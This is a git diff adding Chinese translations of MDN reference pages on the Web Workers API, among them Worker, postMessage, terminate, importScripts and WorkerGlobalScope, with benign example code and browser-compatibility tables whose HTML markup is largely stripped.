传入一个错误的 ID 给 clearTimeout()不会有任何影响;也不会抛出异常。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1")}}
+ {{CompatGeckoDesktop("52")}}[1]
4.04.01.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.01.0{{CompatVersionUnknown}}{{CompatGeckoMobile("1")}}
+ {{CompatGeckoMobile("52")}}[1]
6.06.01.0
+
+ +

[1] clearTimeout() now defined on {{domxref("WindowOrWorkerGlobalScope")}} mixin.

+ +

更多

+ + diff --git a/files/zh-cn/web/api/worker/index.html b/files/zh-cn/web/api/worker/index.html new file mode 100644 index 0000000000..915aceb681 --- /dev/null +++ b/files/zh-cn/web/api/worker/index.html @@ -0,0 +1,106 @@ +--- +title: Worker +slug: Web/API/Worker +tags: + - DOM + - Worker +translation_of: Web/API/Worker +--- +

{{APIRef("Web Workers API")}}

+ +

Worker 接口是 Web Workers API 的一部分,指的是一种可由脚本创建的后台任务,任务执行中可以向其创建者收发信息。要创建一个 Worker只须调用 Worker(URL) 构造函数,函数参数 `URL` 为指定的脚本。

+ +

Worker 也可以创建新的 Worker,当然,所有 Worker 必须与其创建者同源(注意:Blink暂时不支持嵌套 Worker)。 

+ +

需要注意的是,不是所有函数和构造函数(或者说…类)都可以在 Worker 中使用。具体参考页面 Worker 所支持的函数和类。Worker 可以使用 XMLHttpRequest 发送请求,但是请求的  responseXML 与 channel 两个属性值始终返回 null (fetch 仍可正常使用,没有类似的限制)。 

+ +
+

 如果你要在火狐浏览器的扩展使用 Worker 访问 js-ctypes,应使用 {{ domxref("ChromeWorker") }} 对象来替代。(译者注:这里没有看懂,希望有人能驳正,或添加说明)

+
+ +

构造函数

+ +
+
{{domxref("Worker.Worker", "Worker()")}}
+
创建一个专用Web worker,它只执行URL指定的脚本。使用 Blob URL 作为参数亦可。
+
+ +

属性

+ +

继承父对象{{domxref("EventTarget")}} 的属性,以及实现对象 {{domxref("AbstractWorker")}}的属性。

+ +

事件句柄

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
当{{domxref("ErrorEvent")}} 类型的事件冒泡到 worker 时,事件监听函数 {{ domxref("EventListener") }} 被调用. 它继承于 {{domxref("AbstractWorker")}}.
+
{{domxref("Worker.onmessage")}}
+
当{{domxref("MessageEvent")}}类型的事件冒泡到 worker 时,事件监听函数 {{ domxref("EventListener") }} 被调用.  例如,一个消息通过 {{domxref("DedicatedWorkerGlobalScope.postMessage")}},从执行者发送到父页面对象,消息保存在事件对象的 {{domxref("MessageEvent.data", "data")}} 属性中.
+
{{domxref("Worker.onmessageerror")}}
+
当{{event("messageerror")}} 类型的事件发生时,对应的{{domxref("EventHandler")}} 代码被调用。
+
+ +

方法

+ +

继承父对象{{domxref("EventTarget")}} 的方法,以及实现对象 {{domxref("AbstractWorker")}}的方法。

+ +
+
{{domxref("Worker.postMessage()")}}
+
发送一条消息到最近的外层对象,消息可由任何 JavaScript 对象组成。
+
+ +
+
{{domxref("Worker.terminate()")}}
+
立即终止 worker。该方法不会给 worker 留下任何完成操作的机会;就是简单的立即停止。Service Woker 不支持这个方法。
+
+ +

示例

+ +

下面的代码通过构造函数 {{domxref("Worker.Worker", "Worker()")}}  创建了一个 {{domxref("Worker")}} 对象。

+ +
var myWorker = new Worker('worker.js');
+var first = document.querySelector('#number1');
+var second = document.querySelector('#number2');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

完整的示例,请查阅 Basic dedicated worker example (run dedicated worker).

+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('HTML WHATWG', "#worker", "Worker")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

不同类型的worker兼容度不一致,详细参考具体定义的页面。

+ +

{{Compat("api.Worker")}}

+ +

跨域行为的错误事件

+ +

浏览器的早期版本中,加载跨域的执行者脚本导致 SecurityError事件。根据规范的变更,而新版本的浏览器只有{{event("error")}}事件发生。关于如何处理这种事件的更多信息参考 Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/worker/message_event/index.html b/files/zh-cn/web/api/worker/message_event/index.html new file mode 100644 index 0000000000..909bfc8434 --- /dev/null +++ b/files/zh-cn/web/api/worker/message_event/index.html @@ -0,0 +1,85 @@ +--- +title: 'Worker: message event' +slug: Web/API/Worker/message_event +translation_of: Web/API/Worker/message_event +--- +
{{APIRef}}
+ +
当 worker 的父级接收到来自其 worker 的消息时,会在 {{domxref('Worker')}} 对象上触发 message 事件。例如:当 worker 通过 DedicatedWorkerGlobalScope.postMessage() 发送了一条消息时。
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可撤销
接口{{domxref("MessageEvent")}}
对应事件处理属性onmessage
+ +

例子

+ +

下面的代码创建了一个 worker 并使用 addEventListener() 监听从 worker 发来的消息:

+ +
const worker = new Worker("static/scripts/worker.js");
+
+worker.addEventListener('message', (event) => {
+    console.log(`Received message from worker: ${event.data}`)
+});
+ +

另外,也可以使用 onmessage 事件处理属性进行监听:

+ +
const worker = new Worker("static/scripts/worker.js");
+
+worker.onmessage = (event) => {
+    console.log(`Received message from worker: ${event.data}`)
+};
+ +

worker 使用  self.postMessage() 发出消息:

+ +
// static/scripts/worker.js
+
+self.postMessage('I\'m alive!');
+ +

规范

+ + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', 'indices.html#event-message')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Worker.message_event")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/worker/messageerror_event/index.html b/files/zh-cn/web/api/worker/messageerror_event/index.html new file mode 100644 index 0000000000..32ebd5d631 --- /dev/null +++ b/files/zh-cn/web/api/worker/messageerror_event/index.html @@ -0,0 +1,87 @@ +--- +title: 'Worker: messageerror event' +slug: Web/API/Worker/messageerror_event +translation_of: Web/API/Worker/messageerror_event +--- +
{{APIRef}}
+ +

当 {{domxref('Worker')}} 对象接收到一条无法被反序列化的消息时, messageerror 事件将在该对象上被触发。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("MessageEvent")}}
对应事件处理属性onmessageerror
+ +

例子

+ +

创建一个 worker ,使用 addEventListener() 监听 message 和 messageerror 事件:

+ +
// inside main.js
+
+const worker = new Worker("static/scripts/worker.js");
+
+worker.addEventListener("message", (event) => {
+    console.error(`Received message from worker: ${event}`);
+});
+
+worker.addEventListener("messageerror", (event) => {
+    console.error(`Error receiving message from worker: ${event}`);
+});
+ +

同样,可以使用 onmessageerror 事件处理属性监听事件:

+ +
// inside main.js
+
+const worker = new Worker("static/scripts/worker.js");
+
+worker.onmessage = (event) => {
+    console.error(`Received message from worker: ${event}`);
+};
+
+worker.onmessageerror = (event) => {
+    console.error(`Error receiving message from worker: ${event}`);
+};
+ +

规范

+ + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', 'indices.html#event-messageerror')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Worker.messageerror_event")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/worker/onmessage/index.html b/files/zh-cn/web/api/worker/onmessage/index.html new file mode 100644 index 0000000000..9fb062c24f --- /dev/null +++ b/files/zh-cn/web/api/worker/onmessage/index.html @@ -0,0 +1,124 @@ +--- +title: Worker.onmessage +slug: Web/API/Worker/onmessage +translation_of: Web/API/Worker/onmessage +--- +

{{APIRef("Web Workers API")}}

+ +

{{domxref("Worker")}} 接口的onmessage属性表示一个{{domxref("EventHandler")}}事件处理函数,当{{event("message")}} 事件发生时,该函数被调用。这些事件所属{{domxref("MessageEvent")}}类型,且当Worker子线程返回一条消息时被调用(比如:从{{domxref("DedicatedWorkerGlobalScope.postMessage")}}函数发出的信息)

+ +
+

注意: 消息被装载到 {{event("message")}}事件对象的data属性。(译者:即传递的消息参数将被赋值给onmessage处理函数的事件参数e中的data属性)

+
+ +

语法

+ +
myWorker.onmessage = function(e) { ... }
+ +

范例

+ +

下面的代码片段示范用{{domxref("Worker.Worker", "Worker()")}} 构造函数创建一个{{domxref("Worker")}}对象。当表单的first输入框的值变更时,消息被传递给worker。myWorker.onmessage函数用来处理从worker回传的消息。

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Message received from worker');
+}
+
+ +

worker.js中,  onmessage 函数用来接收从主线程传递过来的信息:

+ +
onmessage = function(e) {
+  console.log('Message received from main script');
+  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  console.log('Posting message back to main script');
+  postMessage(workerResult);
+}
+ +

请注意,主线程中必须以myWorker.onmessage方式调用,  反之 worker.js 脚本中, 只需定义 onmessage, 因为worker.js全域有效({{domxref("DedicatedWorkerGlobalScope")}}).

+ +

完整范例,请参考Basic dedicated worker example (run dedicated worker).

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "#handler-worker-onmessage", "Worker.onmessage")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers', "#handler-worker-onmessage", "Worker.onmessage")}}{{Spec2('Web Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持43.510.010.64
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持4.43.51.0.110.011.55.1
+
+ +

参阅

+ +

{{domxref("Worker")}} 接口所属。

diff --git a/files/zh-cn/web/api/worker/onmessageerror/index.html b/files/zh-cn/web/api/worker/onmessageerror/index.html new file mode 100644 index 0000000000..17783b2e6b --- /dev/null +++ b/files/zh-cn/web/api/worker/onmessageerror/index.html @@ -0,0 +1,43 @@ +--- +title: Worker.onmessageerror +slug: Web/API/Worker/onmessageerror +translation_of: Web/API/Worker/onmessageerror +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("Worker")}} 的 onmessageerror 事件处理器接口是一个{{domxref("EventListener")}}, 在 {{domxref("MessageEvent")}} 类型的事件 messageerror 触发时调用 — 也就是说, 它收到的消息是不能进行序列化的 {{glossary("Deserialization", "deserialized")}}.

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
Worker.onmessageerror = function() { ... };
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#handler-worker-onmessageerror', 'onmessageerror')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.Worker.onmessageerror")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/worker/postmessage/index.html b/files/zh-cn/web/api/worker/postmessage/index.html new file mode 100644 index 0000000000..bc31892eec --- /dev/null +++ b/files/zh-cn/web/api/worker/postmessage/index.html @@ -0,0 +1,210 @@ +--- +title: Worker.postMessage() +slug: Web/API/Worker/postMessage +tags: + - Worker + - Worker.postMessage() + - postMessage() +translation_of: Web/API/Worker/postMessage +--- +

{{APIRef("Web Workers API")}}

+ +

{{domxref("Worker")}} 接口的 postMessage()方法向worker的内部作用域发送一个消息。这接受单个参数,这是要发送给worker的数据。数据可以是由结构化克隆算法处理的任何值或JavaScript对象,其包括循环引用。

+ +

工作者可以使用 {{domxref("DedicatedWorkerGlobalScope.postMessage")}}  方法将信息发送回生成它的线程。

+ +

语法

+ +
myWorker.postMessage(aMessage, transferList);
+ +

参数

+ +
+
aMessage
+
The object to deliver to the worker; this will be in the data field in the event delivered to the {{domxref("DedicatedWorkerGlobalScope.onmessage")}} handler. This may be any value or JavaScript object handled by the structured clone algorithm, which includes cyclical references.
+
transferList {{optional_inline}}
+
一个可选的{{domxref("Transferable")}}对象的数组,用于传递所有权。如果一个对象的所有权被转移,在发送它的上下文中将变为不可用(中止),并且只有在它被发送到的worker中可用。
+
可转移对象是如{{domxref("ArrayBuffer")}},{{domxref("MessagePort")}}或{{domxref("ImageBitmap")}}的实例对象。transferList数组中不可传入null。
+
+ +

Returns

+ +

Void.

+ +

Example

+ +

以下代码显示了如何使用 {{domxref("Worker.Worker", "Worker()")}} 构造函数创建一个Worker对象。当两个表单输入(firstsecond)中的其中一个的输入值改变时, {{event("change")}} 事件将调用postMessage()把两个input的值发送给当前worker。

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+ +

有关完整的示例,请参阅我们的Basic dedicated worker example (run dedicated worker).

+ +
+

Note: postMessage() 一次只能发送一个对象。如上所示,如果你想传递多个值,可以使用数组。

+
+ +

Transfer Example

+ +

This example shows a Firefox add-on that transfers an ArrayBuffer from the main thread to the ChromeWorker, and then the ChromeWorker transfers it back to the main thread.

+ +

Main thread code:

+ +
var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+    console.log('incoming message from worker, msg:', msg);
+    switch (msg.data.aTopic) {
+        case 'do_sendMainArrBuff':
+            sendMainArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Ok lets create the buffer and send it
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength pre transfer:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // The array buffer that we passed to the transferrable section 3 lines below
+    },
+    [
+        arrBuf // The array buffer we created 9 lines above
+    ]
+);
+
+console.info('arrBuf.byteLength post transfer:', arrBuf.byteLength);
+
+ +

Worker code

+ +
self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('from worker, PRE send back aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('from worker, POST send back aBuf.byteLength:', aBuf.byteLength);
+}
+
+ +

Output logged

+ +
arrBuf.byteLength pre transfer: 8                              bootstrap.js:40
+arrBuf.byteLength post transfer: 0                             bootstrap.js:42
+
+from worker, PRE send back aBuf.byteLength: 8                  myWorker.js:5:2
+
+incoming message from worker, msg: message { ... }             bootstrap.js:20
+got back buf in main thread, aBuf.byteLength: 8                bootstrap.js:12
+
+from worker, POST send back aBuf.byteLength: 0                 myWorker.js:7:2
+ +

byteLength goes to 0 as it is transferred. To see a full working example of this Firefox demo add-on see here: GitHub :: ChromeWorker - demo-transfer-arraybuffer

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers', "#dom-worker-postmessage", "Worker.postMessage()")}}{{Spec2('Web Workers')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}10.0 [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}10.0 [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Internet Explorer does not support {{domxref("Transferable")}} objects.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/worker/terminate/index.html b/files/zh-cn/web/api/worker/terminate/index.html new file mode 100644 index 0000000000..f49f8f2c91 --- /dev/null +++ b/files/zh-cn/web/api/worker/terminate/index.html @@ -0,0 +1,106 @@ +--- +title: Worker.terminate() +slug: Web/API/Worker/terminate +translation_of: Web/API/Worker/terminate +--- +

{{APIRef("Web Workers API")}}

+ +

{{domxref("Worker")}} 接口中的 terminate()  方法用于立即终止 {{domxref("Worker")}} 的行为. 本方法并不会等待 worker 去完成它剩余的操作;worker 将会被立刻停止

+ +

Syntax

+ +
myWorker.terminate();
+ +

参数

+ +

没有。

+ +

返回值

+ +

Void.

+ +

Example

+ +

以下代码示例表明,通过使用 {{domxref("Worker.Worker", "Worker()")}} 构造器创建出的{{domxref("Worker")}} 对象,在下一步操作之后会被立即终止。

+ +
var myWorker = new Worker('worker.js');
+
+myWorker.terminate();
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-worker-terminate", "Worker.terminate()")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}3.510.010.64
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.4{{CompatVersionUnknown}}3.51.0.110.011.55.1
+
+ +

See also

+ +

{{domxref("Worker")}} 接口。

diff --git a/files/zh-cn/web/api/worker/worker/index.html b/files/zh-cn/web/api/worker/worker/index.html new file mode 100644 index 0000000000..1dc6244203 --- /dev/null +++ b/files/zh-cn/web/api/worker/worker/index.html @@ -0,0 +1,112 @@ +--- +title: Worker() +slug: Web/API/Worker/Worker +tags: + - API + - Constructor + - Reference + - Web Workers + - Worker + - Worker() +translation_of: Web/API/Worker/Worker +--- +

{{APIRef("Web Workers API")}}

+ +

Worker() 构造函数创建一个 {{domxref("Worker")}} 对象,该对象执行指定的URL脚本。这个脚本必须遵守 同源策略 。

+ +

如果 此URL有一个无效的语句,或者违反同源策略,一个 SECURITY_ERR 类型的{{domxref("DOMException")}}被抛出。

+ +
+

Note: 浏览器厂商对于 data URI 是否同源存在分歧。尽管 Gecko 10.0 {{ geckoRelease("10.0") }} 和之后的版本接受 data URIs,但在所有其他浏览器中并非如此。

+
+ +

语法

+ +
const myWorker = new Worker(aURL, options);
+ +

参数

+ + + +
+
aURL
+
是一个{{domxref("DOMString")}} 表示worker 将执行的脚本的URL。它必须遵守同源策略。
+
options {{optional_inline}}
+
包含可在创建对象实例时设置的选项属性的对象。可用属性如下: +
    +
  • type:用以指定 worker 类型的  {{domxref("DOMString")}} 值. 该值可以是 classic 或 module. 如果未指定,将使用默认值 classic.
  • +
  • credentials:用以指定 worker 凭证的 {{domxref("DOMString")}} 值.该值可以是 omitsame-origin,或 include.。如果未指定,或者 type 是 classic,将使用默认值 omit (不要求凭证)。
  • +
  • name在 {{domxref("DedicatedWorkerGlobalScope")}} 的情况下,用来表示 worker 的 scope 的一个 {{domxref("DOMString")}} 值,主要用于调试目的。
  • +
+
+
+ +

返回值

+ +

创建的 worker。

+ +

异常

+ + + +

例子

+ +

下面的代码片段展示了通过 Worker() 创建 {{domxref("Worker")}} 对象的过程, 以及随后的使用方法:

+ +
let myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

完整的例子请看 Basic dedicated worker example (run dedicated worker).

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-worker", "Worker()")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers', "#dom-worker", "Worker()")}}{{Spec2('Web Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{Compat("api.Worker.Worker")}}
+ +
+

Note: 浏览器可以被标记为对Worker()的完全支持尽管他并不支持一个以modules类型编写的脚本。截至2019年8月1日,暂无浏览器支持以模块类型编写的脚本。如果没有这种支持,moduleds类型的脚本必须使用编译器翻译成无module代码才能在浏览器上运行。

+
+ + + +
+ +
另请参阅
+ + diff --git a/files/zh-cn/web/api/workerglobalscope/importscripts/index.html b/files/zh-cn/web/api/workerglobalscope/importscripts/index.html new file mode 100644 index 0000000000..9a7781a1b8 --- /dev/null +++ b/files/zh-cn/web/api/workerglobalscope/importscripts/index.html @@ -0,0 +1,83 @@ +--- +title: WorkerGlobalScope.importScripts() +slug: Web/API/WorkerGlobalScope/importScripts +tags: + - API + - Web Workers + - WorkerGlobalScope + - Workers + - 参考 + - 方法 +translation_of: Web/API/WorkerGlobalScope/importScripts +--- +

{{APIRef("Web Workers API")}}

+ +

{{domxref("WorkerGlobalScope")}} 接口的importScripts() 方法将一个或多个脚本同步导入到工作者的作用域中。

+ +

语法

+ +
self.importScripts('foo.js');
+self.importScripts('foo.js', 'bar.js', ...);
+ +

参数

+ +

{{domxref("DOMString")}} 对象的一个逗号分隔列表,表示要导入的脚本。

+ +

返回值

+ +

无。

+ +

异常

+ + + + + + + + + + + + + + +
异常描述
NetworkError要导入的脚本不具有有效的 JavaScript MIME 类型(有效的类型如 text/javascript)。
+ +

例子

+ +

如果您在一个名为foo.js的单独脚本中编写了一些您想在worker.js中使用的功能,则可以使用以下行导入它:

+ +
importScripts('foo.js');
+ +

importScripts() 和 self.importScripts() 实际上是等效的 — 都表示从工作者的内部范围内调用的 importScripts()

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-workerglobalscope-importscripts', 'importScripts()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.WorkerGlobalScope.importScripts")}}

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/workerglobalscope/index.html b/files/zh-cn/web/api/workerglobalscope/index.html new file mode 100644 index 0000000000..8d9fef8dd7 --- /dev/null +++ b/files/zh-cn/web/api/workerglobalscope/index.html @@ -0,0 +1,286 @@ +--- +title: WorkerGlobalScope +slug: Web/API/WorkerGlobalScope +tags: + - API + - Interface + - NeedsBrowserCompatibility + - NeedsTranslation + - Reference + - TopicStub + - WorkerGlobalScope + - Workers +translation_of: Web/API/WorkerGlobalScope +--- +

{{APIRef("Web Workers API")}}

+ +

 Web Workers API  的 WorkerGlobalScope 接口 是一个代表了任何 scope of worker的接口. Workers 没有浏览内容; 这个 scope 包含的信息总是通过 {{domxref("Window")}} objects传递 — 比如 event handlers, the console or the associated {{domxref("WorkerNavigator")}} object.每个 WorkerGlobalScope 都有自己的事件循环.

+ +

每个 worker type都有专门的这个接口: {{domxref("DedicatedWorkerGlobalScope")}} for dedicated workers, {{domxref("SharedWorkerGlobalScope")}} for shared workers, and {{domxref("ServiceWorkerGlobalScope")}} for ServiceWorkerself 属性返回每个内容的专门 scope .

+ +

Properties

+ +

This interface inherits properties from the {{domxref("EventTarget")}} interface and implements properties from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.

+ +

Standard properties

+ +
+
{{domxref("WorkerGlobalScope.caches")}} {{readOnlyinline}}
+
Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables service worker functionality such as storing assets for offline use, and generating custom responses to requests.
+
{{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}}
+
Returns the {{domxref("WorkerNavigator")}} associated with the worker. It is a specific navigator object, mostly a subset of the {{domxref("Navigator")}} for browsing scopes, but adapted to workers.
+
{{domxref("WorkerGlobalScope.self")}} {{readOnlyinline}}
+
Returns a reference to the WorkerGlobalScope itself. Most of the time it is a specific scope like {{domxref("DedicatedWorkerGlobalScope")}},  {{domxref("SharedWorkerGlobalScope")}} or {{domxref("ServiceWorkerGlobalScope")}}.
+
{{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}}
+
Returns the {{domxref("WorkerLocation")}} associated with the worker. It is a specific location object, mostly a subset of the {{domxref("Location")}} for browsing scopes, but adapted to workers.
+
+ +

Non-standard properties

+ +
+
{{domxref("WorkerGlobalScope.performance")}} {{readOnlyinline}}
+
Returns the {{domxref("Performance")}} associated with the worker. It is a regular performance object, except that only a subset of its property and methods are available to workers.
+
{{domxref("WorkerGlobalScope.console")}} {{readOnlyinline}} {{Non-standard_inline}}
+
Returns the {{domxref("Console")}} associated with the worker.
+
+ +

Event Handlers

+ +

This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowTimers")}}, and {{domxref("WindowBase64")}}.

+ +
+
{{domxref("WorkerGlobalScope.onerror")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("error")}} event is raised.
+
{{domxref("WorkerGlobalScope.onoffline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.
+
{{domxref("WorkerGlobalScope.ononline")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.
+
{{domxref("WorkerGlobalScope.onlanguagechange")}}
+
An {{domxref("EventHandler")}} fired at the global/worker scope object when the user's preferred languages change.
+
+ +
+
{{domxref("WorkerGlobalScope.onclose")}} {{non-standard_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.
+
{{domxref("WorkerGlobalScope.onrejectionhandled")}} {{non-standard_inline}}
+
An event handler for handled Promise rejection events.
+
{{domxref("WorkerGlobalScope.onunhandledrejection")}} {{non-standard_inline}}
+
An event handler for unhandled Promise rejection events.
+
+ +

Methods

+ +

This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, {{domxref("WindowEventHandlers")}}, and {{domxref("GlobalFetch")}}.

+ +

Standard methods

+ +
+
{{domxref("WorkerGlobalScope.close()")}}
+
Discards any tasks queued in the WorkerGlobalScope's event loop, effectively closing this particular scope.
+
{{domxref("WorkerGlobalScope.importScripts()")}}
+
Imports one or more scripts into the worker's scope. You can specify as many as you'd like, separated by commas. For example: importScripts('foo.js', 'bar.js');
+
+ +

Non-standard methods

+ +
+
{{domxref("WorkerGlobalScope.dump()")}} {{non-standard_inline}}
+
Allows you to write a message to stdout — i.e. in your terminal. This is the same as Firefox's {{domxref("window.dump")}}, but for workers.
+
+ +

Methods implemented from elsewhere

+ +
+
{{domxref("WindowBase64.atob()")}}
+
Decodes a string of data which has been encoded using base-64 encoding.
+
{{domxref("WindowBase64.btoa()")}}
+
Creates a base-64 encoded ASCII string from a string of binary data.
+
{{domxref("WindowTimers.clearInterval()")}}
+
Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.
+
{{domxref("WindowTimers.clearTimeout()")}}
+
Cancels the repeated execution set using {{domxref("WindowTimers.setTimeout()")}}.
+
{{domxref("ImageBitmapFactories.createImageBitmap()")}}
+
Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}.
+
{{domxref("GlobalFetch.fetch()")}}
+
Starts the process of fetching a resource.
+
{{domxref("WindowTimers.setInterval()")}}
+
Schedules the execution of a function each X milliseconds.
+
{{domxref("WindowTimers.setTimeout()")}}
+
Sets a delay for executing a function.
+
+ +

Example

+ +

You won't access WorkerGlobalScope directly in your code; however, its properties and methods are inherited by more specific global scopes such as {{domxref("DedicatedWorkerGlobalScope")}} and {{domxref("SharedWorkerGlobalScope")}}. For example, you could import another script into the worker and print out the contents of the worker scope's navigator object using the following two lines:

+ +
importScripts('foo.js');
+console.log(navigator);
+ +
+

Note: Since the global scope of the worker script is effectively the global scope of the worker you are running ({{domxref("DedicatedWorkerGlobalScope")}} or whatever) and all worker global scopes inherit methods, properties, etc. from WorkerGlobalScope, you can run lines such as those above without specifying a parent object.

+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#workerglobalscope', 'WorkerGlobalScope')}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}Defines caches.
{{SpecName('Web Workers', '#workerglobalscope', 'WorkerGlobalScope')}}{{Spec2('Web Workers')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
